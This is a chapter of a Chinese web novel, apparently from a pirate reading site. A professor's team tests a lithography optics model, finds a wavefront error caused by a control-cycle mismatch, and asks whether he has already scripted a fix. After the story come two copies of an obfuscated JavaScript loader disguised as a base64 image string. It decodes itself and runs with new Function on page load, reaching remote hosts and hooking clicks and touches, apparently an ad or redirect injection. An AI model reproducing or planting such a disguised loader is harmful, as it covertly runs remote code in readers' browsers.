第353章 林教授错了?让他错个高兴!
笔趣阁(biquge12345.com)更新快,无弹窗!
,人已经全部到齐了。
“林教授,设备已经按照您的要求改完了,今天咱们的任务是什么?”
看到他来,蒋墨跑过来打了个招呼。
“按照之前的规划,直接上整机先试试。”
林决口中的整机并非是说光刻机。
而是在实验室内,将拥有林氏函子光学变式的模型,在各个大型设备上完成流程闭环。
“今天就上吗?不用再优化一下流程?”蒋墨有些惊讶。
林决点了点头,很是确定,
“没事,先跑一遍再说吧。”
“那行!”
他都如此说了,蒋墨便也不再反对。
然后在黄所,蒋墨,陈望山等人的组织下,第一次用林氏函子光变式映射模型的整机闭环开始了。
光学源头完成装配校准,真空建立、光路调试、硅片上片、曝光、刻蚀配套联调、检测晶圆良率.....
各个关卡,都有专业的工程师盯着。
第一次流程需要的时间挺多的,需要整整72个小时!
........
转眼。
三天时间过去。
光机所会议室内。
第一次整机闭环的检测被分析组公布出来。
“从整体来看,本次跑机结果良好,但在函子输出端,132路高电压情况下......
波前误差会开始增大,从原本的0.18,直接跳到0.24。”
数据分析组组长于志明将表格内的数据标红。
“我们初步分析,这是因为函子输出太激进,控制周期跟不上的原因......”
此话一出。
会议室里立马开始躁动起来。
从于志明公布的整个整机流程来看。
林氏函子光学变式映射,是完全能够跑通整机,并且对比之前拥有极大进步的。
不过也因为函子输出端给的指令超频。
导致相应设备跟不上,最后导致光波偏振,误差增大了。
陈望山打开电脑上详细的数据看了看,
“光学采样只有6HZ.....对比输出端的10HZ确实少了一些,在高电压情况下,误差确实会增大。”
蒋墨凑过来看了眼,眼神中带着不敢置信,
“.....也就是说,咱们攒出来最好的设备,都还做不到匹配这个模型吗?”
此时。
台上,站在于志明不远处的林决听到这话,不由得开玩笑道,
“蒋老您想夸我直接说就行,不用弯弯绕绕的。”
蒋墨:“???”
“陈望山,你这徒弟有点过分了啊。”
陈望山看了蒋墨一眼,都懒搭理,而是直接对林决问着,
“这个问题应该有办法解决吧?我看你这三天都在忙着做改进脚本。”
闻言,卢敬尧,房怀年几人一惊。
什么!?
已经想好方案了?
这几天,他们基本全天候盯着平台。
所以虽然知道林决在办公室忙事儿。
但林决具体干什么,他们却是不清楚的。
蒋墨:
“真的假的?”
房怀年:
“你提前准备好方法了?这个问题也在你的预料之中?”
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();